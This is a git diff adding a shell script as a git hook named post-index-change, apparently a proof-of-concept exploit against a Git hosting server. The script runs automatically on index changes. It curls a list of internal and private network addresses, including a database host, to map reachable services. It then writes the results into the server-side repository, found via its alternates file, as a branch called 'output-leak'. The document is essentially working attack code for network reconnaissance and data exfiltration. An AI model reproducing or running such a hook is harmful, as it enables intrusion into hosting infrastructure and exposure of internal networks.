diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..0cffad1 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,15 @@ +#!/bin/sh +GD=$(git rev-parse --absolute-git-dir) +REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') +OUT=$( { +for u in http://62.32.64.148:9000/ http://62.32.64.150:4101/dms-api/ http://62.32.64.150:4100/ http://172.18.0.1/ http://172.18.0.1:80/ http://gitea-db:5432/ http://10.10.30.2:4100/ http://10.10.40.1:4413/; do + printf '%s -> ' "$u" + curl -s -m 4 -o /dev/null -w '%{http_code} %{size_download} %{content_type}\n' "$u" 2>&1 || echo "curl-fail" +done +echo DONE + +} 2>&1; echo "[rc=$?]") +BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) +TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) +CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output") +git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"